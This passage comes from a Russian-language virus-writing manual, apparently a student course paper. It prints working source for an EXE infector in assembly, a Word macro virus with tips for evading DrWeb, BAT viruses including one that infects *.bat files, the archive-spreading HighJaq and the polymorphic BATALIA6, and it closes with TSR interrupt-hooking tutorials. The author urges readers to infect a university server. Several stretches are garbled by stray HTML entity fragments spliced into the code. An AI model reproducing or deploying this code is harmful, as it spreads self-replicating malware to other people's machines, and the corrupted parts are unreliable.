              PUSH  AX             ; до его конца            ;             
              MOV   AX,DX                                    ;             
              MOV   BX,1000h                                 ;AX -- сегмент
              MUL   BX                                       ;    смещения 
              POP   DX                                       ;DX -- офсет
              CMP   AX,0                                     ;либо от AX от-
              JE    sub_dx                                   ; нимаем хедер,
sub_ax:       SUB   AX,word ptr CS:[data_exe - 100h + 8h]    ;             
              JMP   short length_got                         ;              
              ;                                              ;             
sub_dx:       PUSH  AX                                       ; -- либо от DX
              PUSH  DX                                       ;В результате 
              MOV   AX,word ptr CS:[data_exe - 100h + 8h]    ; всей этой мо-
              MOV   BX,10h                                   ; роки в AX:DX
              MUL   BX                                       ; получено сег-
              POP   DX                                       ; мент-оффсетн.
              SUB   DX,AX                                    ; смещ-е от на-
              POP   AX                                       ; чала файла  
length_got:  
              MOV   word ptr CS:[M1 - 100h +1],DX     
;-------корректировка CS:IP и SS:SP в смещенном заголовке-----¬
              MOV   word ptr CS:[data_exe - 100h + 14h],DX   ;---IP        
              MOV   word ptr CS:[data_exe - 100h + 16h],AX   ;---CS        
              ADD   AX,50h                                   ;             
              MOV   word ptr CS:[data_exe - 100h + 10h],DX   ;---SP        
              MOV   word ptr CS:[data_exe - 100h + 0Eh],AX   ;---SS        
    ;-------------запись кода вируса------------------------------¬
              MOV   BX,word ptr CS:[f_number-100h]           ;             
              MOV   DX,OFFSET my_head-100h                   ;DS:[DX] буфер
              MOV   CX,my_end - my_head                      ;             
              MOV   AH,40h                                   ;             
              CALL  call_int21                               ;             
;------------установка LSEEK на начало------------------------¬
              XOR   CX,CX                                    ;             
              XOR   DX,DX                                    ;             
              MOV   BX,word ptr CS:[f_number-100h]           ;             
              MOV   AL,0                                     ;             
              MOV   AH,42h                                   ;             
              CALL  call_int21                               ;             
;------------запись измененных данных заголовка---------------¬
              MOV   BX,word ptr CS:[f_number-100h]           ;             
              MOV   DX,OFFSET data_exe-100h                  ;DS:[DX] буфер
              MOV   CX,20h                                   ;             
              MOV   AH,40h                                   ;             
              CALL  call_int21                               ;             

Вообще то, этот пример не слишком иллюстрирует пример заражения. Да и кроме того какой-то он слишком запутанный, но тем не менее он может служить примером настоящего вируса. Но все же, мне кажется, для получения информации о заражении EXE  файлов стоит обратиться ни к настоящим вирусам (т.к. как кроме этого обычно напихано еще всякой всячины, не относящейся к делу), а специальным примерам. Так вот, на мой взгляд намного лучше предыдущего примера является следующий:

           Получаю значения IP и CS. Все организованно довольно хитрым способом, причем оригинальным – такого я раньше не встречал. Для этого используется команда LES которая помещает сразу IP в AX, а Сnbsp;nbsp;nbsp; word ptr CS:[M1 - 100h +1],DXnbsp;S в ES – это круто!

            les&nnbsp;nbsp;nbsp;my_end:nbsp;nbsp;nbsp;bsp; ax, dword ptr [bp+buffer+14h]

 nbsp;nbsp; JE;           mov  word ptr [bp+jmpsave2], ax

            mov  word ptr [bp+jmpsave2+2], es

Таким же образом сохраняется стек.

            les  ax, dword ptr [bp+buffer+0Eh]

            mov  word ptr [bp+stacksave2], es

            mov  word ptr [bp+stacksave2+2], ax

Получаю размер заголовка

            mov  ax, word ptr [bp+buffer + 8]

так как размер дается в параграфах придется его еще умножить на 16.  Видимо вирус из которого взят этот пример писался давно, т.к. явно рассчитан под процессор 8086. В принципе все вирусы для совместимости с разными компьютерами стоит писать для данного процессора. (если заранее не известно где будет запущен ВАШ ВИРУС!). Конечно на более "высоких" процессорах все бы выглядело более изящно, но с этим приходиться мириться.

Если будете писать для 386, 486 или Pentium следующие строки можно заменить на  SHL AX,4

            mov  cl, 4                 

            shl  ax, cl

Поместили длинну файла в BX

            xchg ax, bx

Теперь вирус узнает длинну файла!

            les  ax, [bp+offset newDTA+26]

            mov  dx, es                  

            push ax

            push dx

Вычитаем из длинны файла заголовок.

            sub  ax, bx                 

            sbb  dx, 0                  

Теперь надо получившуюся ерунду преобразовать в формат СЕГМЕНТ: СМЕЩЕНИЯ. А так как сегмент может начинаться с адреса только кратного  16 то делим на 16.

            mov  cx, 10h                

            div  cx                      

Сохраняю модифицированные адреса

            mov  word ptr [bp+buffer+14h], dx

            mov  word ptr [bp+buffer+16h], ax

            mov  word ptr [bp+buffer+0Eh], ax ; и стек

            mov  word ptr [bp+buffer+10h], id   ; Id- переменная признак заражения.

            pop  dx                       ; восстанавливаю ранее запомненную длину файла

            pop  ax

            add  ax, heap-startvirus      ; добавляю размер вируса

            adc  dx, 0

            mov  cl, 9                    ; 2**9 = 512

            push ax

            shr  ax, cl

            ror  dx, cl

            stc

В результате всех мучений получаем размер файла в параграфах

            adc  dx, ax                  

            pop  ax

            and  ah, 1                    ; берем остаток от деления на 512

            mov  word ptr [bp+buffer+4], dx ; новый размер файла

            mov  word ptr [bp+buffer+2], ax

            push cs                      

            pop  es

            mov  cx, 1ah

  finishinfection:

            push cx       

            mov  ah,40h                   ; Записываю изменения в файл

            lea  dx,[bp+buffer]           ; из буфера

            pop  cx                      

            int  21h

Передвигаю указатель к концу фала

            mov  ax,4202h            

            xor  cx,cx                   

            cwd                           ; xor dx,dx

            int  21h

Приписываю вирус

            mov  ah,40h  

            lea  dx,[bp+startvirus]

            mov  cx,heap-startvirus      

            int  21h

            mov  ax,5701h                 ; восстттанавливаю дату и время

            mov  cx,word ptr [bp+newDTA+16h] ; time

            mov  dx,word ptr [bp+newDTA+18h] ; date

            int  21h

            mov  ah,3eh                   ; закрыть файл

            int  21h

Ну вроде с EXE-шниками покончено, теперь давайте перейдем к другим видам вирусов. В последнее время с появление таких программ как Word и Excel появились специальные языки называемы макросами. Естественно следом за этим появились и вирусы способные заражать текстовые файлы. Кстати говоря, обычно вирусы подобного типа пишутся на BASICе  поэтому, я думаю, следующий мой рассказ особенно заинтересует любителей этого языка.

Мacro - вирусы

        Написать MACRO (даже не буду пояснять, что означает слово MACRO – это просто должен знать каждый вирусописатель) - штучку оказалось  просто  как отсортировать массив,  нужно  всего лишь  немного  знать BASIC и знать ГЛАВНУЮ  команду WordVirus'a -

                                MacroCopy Source, Destination

  которая  копирует  макрос  из  Source   в  Destination,  но   в  вирусе

 используется два варианта этой команды:

 MacroCopy FileName$()+":MacroName1","Normal:MacroName2"-копирует макрос  из файла в NORMAL.DOT. Между прочим в этом файле хранятся макро команды для основных документов. Заразишь его и значит все текстовые файлы, использующие этот файл (а они все его используют) заразятся тоже.

 MacroCopy "Normal:MacroName1",FileName$()+":MacroName2"-копирует макрос  из NORMAL.DOT в файл

 Кроме  того,  чтобы  ваш  вирус  успешно  существовал  в  среде  Word'a необходимо знать как собственно вирус запускается из файла: нужно всего лишь, чтобы  запускаемый  макрос  имел  имя в файле AutoOpen и все! При открытии  файла Word автоматически запустит этот макрос! Заражение файла осуществляется   примерно   так же. Важно,  чтобы  в  файле  NORMAL.DOT присутствовал макрос FileOpen и при открытии  файла зараженным  Word'oм вы получите доступ к документу.

ПЕРЕМЕННЫЕ И КОНСТАНТЫ MACRO вирусов

 dlg - массив  Word'а  используется  им  для  поддержки  макросов

 вызываемых другим макросом.

        FileName$() - имя открытого файла

        CountMacros - количество макросов

        MacroName$ - имя макроса

        Normal - имя  файла  в  котором хранятся  макросы (русский Word)

если  вы  хотите заражать английский Word, замените везде                                  

                                         Normal на Global

                                             МАСКИРОВКА

         Как  сделать так, чтобы DrWEB и похожие с ним не ловили ваше детище? Тут необходимо немного фантазии, но все же:

        1. DrWEB не обрабатыает, например, смену шрифта.

        2. Создаете макрос со случайным именем и записываете туда строку MacroCopy ... , ... но перед этим задаете шрифт какого-нибудь

           размера и записываете строку,  расшифровывая по маске шрифта, запускаете этот макрос и удаляете его! И все!

 ДЛЯ примера рассмотрим текст MACRO вируса (жаль, что только DrWeb его определяет). Комментарии здесь излишни....

  macros -= CS =-
  Sub MAIN
  On Error Goto ops
  c = 0
  For i = 1 To CountMacros(0, 0)
   If MacroName$(i, 0, 0) = "CS" Then c = 10
  Next i
  If c = 10 Then Goto ops
  MacroCopy FileName$() + ":AutoOpen", "Normal:CS"
  MacroCopy FileName$() + ":CSF", "Normal:FileOpen"
 ops:
 End Sub

Запускается при открытии файла

 macros -= FileOpen =-
  Sub MAIN
  Dim dlg As FileOpen
  On Error Goto ops
  GetCurValues dlg
  Dialog dlg
  FileOpen dlg
  s = 100
  For i = 1 To CountMacros(1, 0, 0)
   If MacroName$(i, 1) = "CSF" Then s = 1
  Next i
  If s = 1 Then Goto ops
  FileSaveAs FileName$(), .Format = 1
  MacroCopy "Normal:CS", FileName$() + ":AutoOpen"
  MacroCopy "Normal:FileOpen", FileName$() + ":CSF"
 ops:
 End Sub

Для того, чтобы написать хоть какой, Macro вирус достаточно взять руководство по Visual Basic для MS Word и я уверен, что идей будет достаточно (единственное, что требуется - это воображение).

На последок хочу предложить вам самый излюбленный мною тип вирусов – BAT вирусы. Их число не столь велико, но зато сколько творчества наблюдается в них... И можно смело считать эту работу пустой если не будет упомянуто об этих замечательных "зверях"!

 BAT - вирусы

Вы наверное уже поняли, что эти вирусы носят свое название из-за способности заражать файл с расширением BAT, а говоря проще командные файлы. Но не все знают, что зараженный "БАТНИК" может быть столь же опасным сколь и прочие разновидности вирусов, а может даже и больше. С моей точки зрения это самый перспективный тип вирусов, которым можно заразить наш родной ВГПУ. Поскольку это единственный тип вируса, который может серьезно распространиться на бездисковых станциях т.е. на сервере, где доступ к системным файлам закрыт.

Каким именно способом произвести заражение естественно  рассказывать не буду, а вот про структуру вируса расскажу подробно.

Прежде всего хочу вас предупредить – для того, чтобы писать вирусы такого типа надо в совершенстве знать операционную систему MS DOS и все ее команды, в том числе и недокументированные. Кроме того, у вас должен быть большой опыт в ассемблере (если хотите оставить вирус резидентно) и еще ко всему очень богатое воображение. Каждый нормальный BAT вирус это произведение искусства, с которым нельзя сравнить обычные вирусы. Но так как цель этого пособия (моей курсовой) не учить вас писать вирусы, а дать общее представление о них и научить самым хитрым их методам, перейду сразу к делу.

Вирусы этого типа элементарно обнаруживаются и истребляются - если вы посмотрите на бат-файл простым редактором, вы сразу много чего поймете. Я понятно, не говорю о вирусах, которые

вписывают в бат-файл только строчку @virname, а имею в виду полноценные "вири", хранящие в зараженном бат-файле свое тело. Вообще же вирусописательство на бат-языке можно разбить на два класса: вирусы, содержащие встроенный код, и вирусы, написанные на командах доса. Совершенно очевидно, что первый тип вирусов имеет гораздо большие возможности, тогда как второй тип ограничен бат-языком, который вообще-то никто никогда не предполагал использовать для вирусописательства. Hо, тем не менее, на нем написан даже полиморфный вирус. Если кто хочет пережить нервное потрясение – посмотрите на него, он называется BATalia6, рекомендую. Мне б такое и в страшном сне не привиделось, Hо приступим к делу. Итак начнем с вопроса что мы будем писать?. Первый тип бат-вирусов. Итак что же наш вирус будет из себя представлять? Я думаю нечто вроде вот такой структуры:

@REM  ы6Р
@copy %0 ass.com>nul
@ass.com
@del ass.com
@REM ............
Краткий комментарий, который едва ли кому нужен.
@REM  ы6Р                 ; просто комментарий, а по совместительству команды
                            ; inc ax, push dx, inc bp, dec bp, and dl,bh
                            ; это был непосредственно @REM
                            ; и jmp 13eh - это собссно ы6Р - переход куда нам надо
                            ; в бате это понятное дело не выполняется :)
@copy %0 ass.com>nul         ; Создание файла ass.com, копии батника.
                            ; nul - место куда пойдет строка 1 file(s) copied,
                            ; кою дос любит выводить
@ass.com            ; запуск этого файла
@del ass.com                ; удаляю этот файл, чтоб не мешался
@REM ............   ; основная часть вируса, чистый код.

         Hу а что до @ - это значит на экран не рисовать команду.

         А что можно сказать об основной части вируса? Да ничего почти что. Этот примитив даже и в комментариях не нуждается.      Поиск в текущем каталоге *.ВАТ файлов и их заражение. Плюс проверка на инфицированность братком и т.п. Как видите написание такого "зверя" не представляет абсолютно никаких проблем  Слишком все примитивно.

Теперь немного о том, чего нельзя ставить даже в коментариях (REM). Категорически запрещается символ с кодом 1А - это маркер конца бат-файла. Если он окажется даже в комментарии, то далее него выполнение не пойдет. Hе рекомендуется использовать также символы < и > - это указатели при операциях с файлами. Hо на них в принципе можно не обращать внимания если не давать строке комментария возможности выполниться, т.е. например поставить где надо goto. Поясню: есть строка rem dfhjdfh>hjg  -результат: будет создан файл hjg длиной ноль. Если строка  rem dsg<ghsa - результат: при выполнении скажет что файл не найден

       Пойдем в обход:

          goto m
         rem тут любой текст, кроме 1Ah
         :m

Hо лучше так вообще не делать - возникает небольшой недостаток – не будут корректно заражаться батники с меткой m.  Также стоит поостеречься символа ввод (0DH) - понятно почему?

Hо это тоже обходится через goto.

А вот пример замечательного BAT вируса со вставкой на ассемблере:

          .286
         .model tiny
         .code
org 100h
start:
         db '@REM ',0fah                    ; это первая строка бат файла
         jmp run_it                     ; это то что в ней закомментировано
         db 0dh,0ah,'@copy %0 ass.com>nul',0dh,0ah ; еще команды
         db '@ass.com',0dh,0ah           ;
         db '@del ass.com',0dh,0ah     ;
         db '@REM '                            ; последний комментарий
run_it:
         pop cx                           ; Вы помните что там
                                      ; REM обозначает в кодах?
         mov ah,4eh          ; найти первый бат-файл
         lea dx,batname
         int 21h
         jc thats_all           ; если нету - выйти
         jmp go_on
again:                                      ; найти следующий бат-файл
         mov ah,4fh
         int 21h
         jc thats_all           ; если нету - снова выйти
go_on:
         mov dx,9eh                   ; а если есть то
         mov ax,3d02h               ; открыть его
         int 21h
         jc again                ;  перейдем к слудующему файлу
         mov bx,ax
         mov cx,ds:[9ah]            ; длину файла в CX
         mov ah,3fh          ; прочитать его весь в буфер
         lea dx,buffer
         int 21h       
         mov ax,word ptr ds:[start]     ; сравнить первые байты
         cmp word ptr ds:[buffer],ax   ; если равны, то там наш брат и надо
         jz close                          ; тихо закрыть файл.
         xor cx,cx                       ; станем на начало файла
         xor dx,dx                      ;
         mov ax,4200h                        ;
         int 21h                                    ;
         mov ah,40h                            ; запишемся туда
         mov dx,100h                          ; 100h - наше начало в памяти
         mov cx,offset buffer-100h      ; buffer - самый конец вируса ;) как
         ; пошло...
         int 21h                                    ;
         mov ah,40h                            ; запись в файл старого тела батника
         mov cx,ds:[9ah]                      ; cx=длина старого файла
         lea dx,buffer                           ; там он лежит - мы читали его
         int 21h                                    ; пишемся
                                               ; Кстати намек - эти две записи можно
                                               ; пpовести в один пpием.
close:
         mov ah,3fh          ; чтобы избежать символа > в теле
         dec ah                            ; батника - у него код 3eh - прямо как у
                                      ; функции закрытия
         int 21h
         jmp again             ; прейти к следующему файлу
thats_all:                       ;
         mov ax,4c00h               ; выходим
         int 21h
batname db '*.bat',0               ; маска для поиска батников
db 0dh,0ah                    ; символы ввода и перевода строки
buffer:                                     ; конец  - просто буфер
end start

Неправда ли замечательная картина? Но самое интересное еще впереди. Раньше я, честно признаюсь, не придавал особого значения ВАТ вирусам и они меня не интересовали. Я считал написание ВАТ вирусов примитивным занятием, недостойным вирусописателя, но понял как жестокоnbsp; файле, nbsp; ; просто комментарий, а по совместительству командыnbsp;nbsp;nbsp; ошибался когда встретил вирус HighJaq. Он переменил не только все мое представление о ВАТ вирусах, но и побудил заняться этой проблемой всерьез. А началось с того, что я получил очередную почту из FIDO (вnbsp;nbsp;gt;nulnbsp;nbsp;се в архивах) и стал просматривать ее, в каnbsp;nbsp; lea dx,bufferждом файле я нашел файл WinStart.Bat и поначалу мне показалось, что это часть заархивированной программы, но когда разархивировал, то файла этого не нашел. После перезагрузки компьютер завис, тогда я начал копаться в почте и просмотрев ее обнаружил, что заразился BAT вирусом который распространяется через архивы ARJ – это просто гениальная идея.

А то как именно он заражал вообще привело меня в восторг, к сожалению до сих пор я его извлек не из всех архивов, но теперь это уже не важно. Главное сама идея, а она заключается в следующем.

При разархивировании независимо ни от чего WinStart.bat записывается в корневой каталог. Рассчитывал автор на то, что будет использоваться система Windows 95 и он не ошибся. Каждый раз перед запуском Win`95 запускается файл WinStart.Bat из корневого каталога, а именно он и есть вирус! После чего он создает из себя COM программу, которая с помощью хитрой уловки ищет все архивы на диске и дописывает туда код вируса, затем вирус сам себя уничтожает. А вот и он сам:

::pFqD
@ctty nul
copy/b %0.bat+%0 c:\q.com
dir \*.arj/s/bc:\q.com/i
:qlpj
if errorlevel 1 goto qWpU
ren c:\q.com 515GQA3E.WOO
echo INSTALLHIGH=C:\515GQA3E.WOO>>c:\config.sys
:qWpU
for %%a in (%0 %0.bat) do if exist %%a set q=%%a
del c:\q.com
ctty con
@del %q%

Особенно мне нравиться строка dir \*.arj/s/bc:\q.com/i  , это просто надо почувствовать! Одним словом: NO COMMENT!

Ну и напоследок приведу текст вируса BATALIA 6 о котором писалось в начале главы, но это уже для самостоятельного изучения.

@echo off
set n=BATALIA6.BAT
if "a%1"=="af" goto find
if "a%1"=="ap" goto poly
if "a%1"=="as" goto sets
cd ..
for %%b in (*.bat) do call s_g_w_w\%0 f %%b
cd s_g_w_w
if exist test del test
goto en
:find
if "a%f%"=="ay" goto en
cd s_g_w_w
arj l ..\%2 >nul
if errorlevel 1 goto bg
goto en1
:bg
if exist real del real
set code=b
call %n% p ..\%2
set code=t
call %n% p ..\%2
set p=%rnd%
set code=1
call %n% p ..\%2 %2
set code=t
call %n% p ..\%2
set code=2
call %n% p ..\%2
echo %rulz% %2>>real
copy rulz %rulz%.bat >nul
arj a %rnd%.%rulz% %n% ..\%2 zagl rulz final.bat >nul
copy /b %rulz%.bat+%rnd%.%rulz% >nul
arj a %rulz%.%rnd% %rulz%.bat -g%p%>nul
copy /b real+%rulz%.%rnd% ..\%2 >nul
del real
del %rulz%.%rnd%
del %rnd%.%rulz%
del %rulz%.bat
set f=y
goto en1
:sets
if %rnd%==3 set rnd=4
if %rnd%==2 set rnd=3
if %rnd%==1 set rnd=2
goto en
:poly
copy zagl test >nul
:there add new method of rnd (E.g. type %2 >> test) - bad example)
type zagl >>test
echo 1 >rnd1
echo 2 >rnd2
echo 3 >rnd3
del rnd? /p <test>nul
set rnd=1
for %%c in (rnd?) do call %0 s
echo 1 >rnd1
del rnd?>nul
goto make_%code%_%rnd%
:make_b_1
echo @echo off>>real
goto _1
:make_b_2
echo @echo OFF>>real
goto _2
:make_b_3
echo @EcHo OfF>>real
goto _3
:make_b_4
echo @ECHO OFF>>real
goto _4
:make_1_1
echo %comspec% nul /carj x %%0 -g%p%>>real
goto _1
:make_1_2
echo %%comspec%% nul /c arj x %3 -g%p%>>real
goto _2
:make_1_3
echo %%comspec%% nul /carj e %%0 -g%p%>>real
goto _3
:make_1_4
echo %comspec% nul /c arj e %3 -g%p%>>real
goto _4
:make_2_1
set rulz=i
goto _1
:make_2_2
set rulz=s
goto _2
:make_2_3
set rulz=h
goto _3
:make_2_4
set rulz=w
goto _4
:make_t_1
echo rem COMMAND.COM nul /carj x %%0 -g1>>real
goto _1
:make_t_2
echo :echo %comspec% nul /carj x %%0>>real
goto _2
:make_t_3
echo :nul arj x %%0 -g7 %comspec%>>real
goto _3
:make_t_4
echo rem arj e %%0 %%compec%% -g5>>real
goto _4
:_1
echo NY >zagl
goto en
:_2
echo YY >zagl
goto en
:_3
echo NN >zagl
goto en
:_4
echo YN >zagl
goto en
:en1
cd ..
:en

Резиденты.

Искусство остаться незамеченным

 

Что такое резидентная программа (в дальнейшем - просто  резидент)? Это такая программа, которая находится в оперативной памяти постоянно (обычные, нерезидентные программы присутствуют в памяти лишь во время их непосредственного исполнения; когда их выполнение заканчивается -- они "умирают" - память занятая ими - освобождается . Резидент же может обитать в ОЗУ, [кстати rezide - по англ. 'обитать'] не будучи в данный момент исполняем, но в то же время, - готовый к действию).

И так -  до окончания работы на PC! Резидент будет сидеть в ОЗУ и быть всегда готов вам услужить.  Только программы типа Volkov Comander могут безболезненно удалять резиденты из памяти (и то лишь те, которые были загружены после них). Сделать программу резидентной (постоянно присутствующей в памяти) -- ЭЛЕМЕНТАРНО. Вот один из способов

TITLE   Это - ASSUME ;------------ CodeSegment Start: MainProcedure resident_end: MainProcedure CodeSegment COM. программа N4 для демонстрации посадки резидента CS:CodeSegment -------------------------------------------------------------- SEGMENT PARA ORG(100h) PROC NEAR ; ; ; ; ; MOV AX,0E61h                 ; напечатать INT 10h                      ;   символ 'a' ; ; MOV DX,OFFSET resident_end   ; DX<-- адрес последней команды ;                            ;   рез-та+1 INT 27h                      ; вернуться в DOS ;                            ;   оставив программу резидентной ; ; ; ENDP ; ENDS END Start     

Если Вы захотите откомпилировать и запустить выше данный пример, то лучше перед этим выйти из Norton Comander-а и запустить Volkov Comander (если у Вас его еще нет -- настоятельно советую приобрести !). Volkov Comander позволяет по нажатию комбинации клавиш Alt/F5 показать карту памяти PC и Вы можете удалить любой резидент, загруженный после Volkov Comander-а.

А теперь -- коментарии к примеру

Чтобы после выполнения программы выйти в DOS и одновременно оставить прогр-му резидентной всего-то лишь и нужно: ВМЕСТО КОМАНДЫ RET ДАТЬ ПРЕРЫВАНИЕ INT 27h и при этом в регистр DX нужно поместить адрес последнего оператора остающегося резидентно куска+1. Адрес этот равен смещению от PSP программы. Прерывание INT 27h -- программное прерыв-е. П/п-ма его обработки изменяет структуру ОЗУ так, что часть памяти теперь навечно закреплена за фрагментом Вашей программы.

Итак, мы оставили в ОЗУ резидентный фрагмент, который печатает букву 'a'. Вопрос -- когда же он будет выполняться? А вот -- никогда! Вернее -- всего один раз - когда мы оставляли резидент в памяти. Но, тем не менее, он останется в ОЗУ. Он больше никогда не получит управление. Это - настоящий программный труп, который просто занимает место. Запустите эту программу еще раз. И в ОЗУ останется еще один памятник глупости. Работая в Volkov Comander-е, нажав Alt/F5, Вы можете в этом убедиться. Сколько бы раз эта программа не запускалась - каждый раз она будет отхватывать все новые и новые кусочки памяти и оставлять в них код печати буквы 'a', который никогда больше не будет выполнен.

Но ведь резиденты пишутся не для этого! Они остаются в памяти ДЛЯ того, чтобы в ОПРЕДЕЛЕННЫЕ МОМЕНТЫ получать управление и выполнять определенные действия. Когда и каким образом? ПРИ ПОМОЩИ МЕХАНИЗМА ПРЕРЫВАНИЙ!

ПОДРОБНЕЕ:

Что будет если программа заменит в таблице векторов прерываний адрес исходной п/п-мы обработки прерывания на адрес своей собственной п/п-мы? В этом случае, в момент, когда будет дано это прерыв-е, управление получит эта п/п-ма. Возникнет некий самозванец, который будет обрабатывать прерывание по своему. Например, -- вы нажали букву "А", а PC напечатал на экране "О"; Вы начали печатать документ на принтере, а одновременно его текст запишется в специальный скрытый файл (пример шпионящего "дракона"); программа TETRIS.EXE загружена на выполнение (прерывание 21h), а вирус "почуял" это и в придачу к запуску программы "заразил" ее своей копией. Прерывания происходят постоянно, и если, окончив свою работу, прогр-ма, на адрес которой был заменен вектор прерывания, исчезнет из памяти - "умрет" и при этом не восстановит исходное значение вектора (адрес исходной п/п-мы обработки прерывания), то PC по-прежнему всякий раз, когда будет генерироваться прерывание, будет передавать управление в область, где раньше сидел самозванный обработчик, а теперь остался лишь мусор. И PC зависнет (в лучшем случае). Зависнет намертво.

Следовательно, если мы решимся перехватить прерывание то существуют только две возможности:

1. Либо, если мы не будем сажать в память резидент, то, перед тем как "умрем", отреставрируем адрес исходного обработчика прерываний;

2. Либо мы не будем реставрировать адрес исходного обработчика прерываний, и, сохранив прерогативу обработки прерывания за собою, оставим наш оригинальный обработчик резидентно в памяти;

Нас интересует второй вариант, т.к. созданные нами программы будут контролировать работу PC во время всей DOS-овской сессии, во время выполнения других программ, во время всех действий пользователя (который об этом и знать не будет).

ОЧЕНЬ ВАЖНОЕ ДОБАВЛЕНИЕ -- очень часто стандартная п/п-ма обработки прерывания все же ДОЛЖНА его обработать, независимо от того, обрабатывали ли мы его сами. Следовательно, после того, как Вы, перехвативши вектор, в момент генерации прерывания сделали то что Вам нужно, Вы все же должны отдать управление исходному обработчику. Это похоже на случай, когда некто с целью заработать денег перехватывает выгодный подряд на строительство моста, но сам, не будучи строителем, все же вынужден нанять профессионалов (выдать субподряд).

РЕЗЮМИРУЕМ: вот что нам нужно сделать, чтобы создать активный резидент, реагирующий на появление определенного прерывания и не вызывающий зависание компьютера.

1. Сохранить в своем теле адрес истинного обработчика прерыв-я.

2. Заменить в таблице векторов адрес истинного обработчика прерыв-я на адрес собственной п/п-мы.

3. Завершить программу, оставив собственную п/п-му обработки прерывания в памяти PC резидентно.

4. Сконструировать резидентную часть так, чтобы после обработки перехваченного прерывания позволить исходному обработчику тоже его обработать.

Перехват прерывания можно сравнить со вставкой дополнительного элемента в список (для тех кто работал с динамическими переменными).

Какое прерывание выбрать? Предложим для простоты прерывание N 5 (печать экрана). Оно возникает, если Вы нажмете клавишу Print Scrin. Вызываемая при этом п/п-ма печатает на принтере копию экрана PC. Прерывание N 5 не требует и не возвращает никаких параметров (чудно!), и еще его не обязательно возвращать стандартному обработчику; ничего не случится, если Вы его зажмете (весьма редкое свойство). Вы наверное не раз замечали что если Вы нажмете Print Scrin, а принтер не готов -- раздается гудок, -- это стандартный обработчик прерывания N. Создадим-ка резидент, который, перехватывая прерывание N 5 , ну скажем,.. выведет на экран 'сердечко' (символ с кодом 3), и после этого возвратит управление стандартному обработчику (вежливость - высшая добродетель). Таким образом, при нажатии Print Scrin сначала будет напечатано 'сердечко' (работает наш резидентный обработчик), а уже потом раздастся гудок (заработает стандартный обработчик и обругает Вас за отключенный принтер).

Итак -- вперед!

TITLE   Это - COM. программа для демонстрации посадки резидента
ASSUME       CS:CodeSegment
;-----------------------------------------------------------------
CodeSegment   SEGMENT PARA
ORG(100h)
Start:
MainProcedure PROC NEAR
JMP  initial                    ;               перепрыгнем через                   
                                                          данные
;                               ;                     и наш обработчик прер-я 05
;                               ;                     на инициализирующую часть
;
saved_int05:  DD   0                                         ; данные (хранилище для
;                                                  ; адреса стандартного
                               обработчика прерывания -- 2 слова
;-----------наша п/п-а обработки прерывания 05-------------
;                 (она останется резидентной в памяти)                      
;               здесь мы можем делать что хотим                             
int05_treater:PUSH AX                                                                                      
;                                                                                    
MOV  AH,0Eh                               ;входные параметры
MOV  AL,03h                                ;  (печатать 'сердечко'
INT  10h                                         ;печатаем 'сердечко'           
POP  AX                                         ;PUSH и POP ОЧЕНЬ важны (см. коментарий после примера)     
длин. JMP   по адресу, который находится теперь в хранилище или буфере
JMP  dword ptr CS:[saved_int05] 
rezident_end:                                                    
;                                                  ; saved_int05 (возвращаем управление стандартному обработчику
                                                    прерывания 05)                       
;-----------инициализирующая часть---------------------------
; (здесь мы сажаем резидент, переопределяя адреса)                
initial:            XOR  DX,DX                                   ; ----                                     
MOV  DS,DX                                        ; ------> DS = 0           
MOV  AX,DS:[5*4]                               ;
сохраняем в хранилище saved
MOV  word ptr CS:[saved_int05  ],AX
int05 адрес стандартного
MOV  AX,DS:[5*4+2]                          ;  обработчика прерывания 05
MOV  word ptr CS:[saved_int05+2],AX         ;  ( OFFSET и SEGMENT )    
запрещаем прерывания
CLI                                                       
MOV  AX,OFFSET int05_treater         ;                          
MOV  word ptr DS:[5*4],AX                ;кладем в таблицу векторов 
PUSH CS                                               ;  адрес нашего обработчика
POP  AX                                                ;  прерывания 05           
MOV  word ptr DS:[5*4+2],AX           ;                          
STI                                                         ;разрешаем прерывания      
MOV  DX,OFFSET rezident_end          ;DX<--конец резид. части   
INT  27h                                                ;
закончить программу и   вернуться в DOS, оставив
;                                                             резидентной
;---------------------------------------------------------------- MainProcedure ENDP
;
CodeSegment   ENDS
END Start

коментарии:

Программа состоит из двух главных частей: той, что остается в памяти резидентно и не выполняется при запуске самой прогр-мы (данные + наша п/п-ма обработки прерывания 05), и -- инициализирующей части.

Почему порядок следования этих частей именно такой?

Почему инициализирующая часть не остается в памяти резидентно? Почему наша п/п-ма обработки прерывания 05 начинается оператором PUSH AX и заканчивается оператором POP AX? Что за новые операторы CLI и STI?

Ответы:

Инициализирующая часть не остается в памяти резидентно, т.к. она не входит в п/п-му обработки прерывания 05, она нужна лишь для посадки резидента в память и перенаправления вектора прерывания на него. Здесь уместна аналогия с запуском орбитального спутника: ракета-носитель <инициализирующая часть>, выводит на орбиту спутник-шпион <резидентная часть>. При этом сама ракета-носитель разрушается и на орбиту не попадает.

О порядке следования. Если бы сначала шла инициализирующая часть, а потом - резидентная, то мы были бы вынуждены сделать резидентным и инициализирующий кусок, ибо резидентным становится все, начиная от PSP и до того адреса, который мы поместим в DX перед генерацией INT 27h. Оставление в резидентуре инициализационной части приведет к расходованию лишней памяти (очень ценного ресурса).

ЗАМЕЧАНИЕ: вот в случае создания резидентного вируса инициализирующая часть обязана быть резидентной, так как ВИРУСУ ДОЛЖЕН БЫТЬ ДОСТУПЕН ВЕСЬ СОБСТВЕННЫЙ КОД. Лишь при этом условии вирус сможет себя куда-нибудь запихнуть. Вот зачем появились операторы CLI и STI: в момент, когда мы вручную (при помощи команд пересылки) заменяем адрес в таблице векторов, может произойти вызов того самого прерывания, которое мы перехватываем. Если одно слово заменено, а другое - еще нет -- будет маленький Чернобыль (семь бед - один RESET). На время замены вектора надо временно запретить вызовы прерываний (команда CLI), после окончания замены -- разрешить вновь (команда STI). Команда CLI запрещает все прерывания, кроме немаскируемого NMI.

Зачем в начале нашей п/п-мы обработки прерывания 05 находится PUSH AX, а в конце -- POP AX? Слушайте СУПЕРПРАВИЛО:

        Если п/п-ма обработки прерыв-я в процессе работы портит какой-либо регистр, то перед  окончанием  своей  работы она обязана вернуть ему  прежнее значение. Чаще  всего это делается так:  перед началом работы  этот регистр роняется в стек, а перед окончанием достается обратно. (Есть и  другие способы, например использование другого регистра или альтернативных регистров).

-----------------------------------------------------------------------------

В заключение главы сделаем еще один резидент, который будет гудеть, стоит лишь нам запустить какую-либо программу. Сажать его мы будем на обработку прерывания 21h - "Прерывания DOS" (функция 4Bh) :

TITLE   Это - COM. программа N6 для демонстрации посадки резидента
ASSUME       CS:CodeSegment
;-----------------------------------------------------------------
CodeSegment   SEGMENT PARA
ORG(100h)
Start:
MainProcedure PROC NEAR
;
JMP  initial                    ;               перепрыгнем через данные
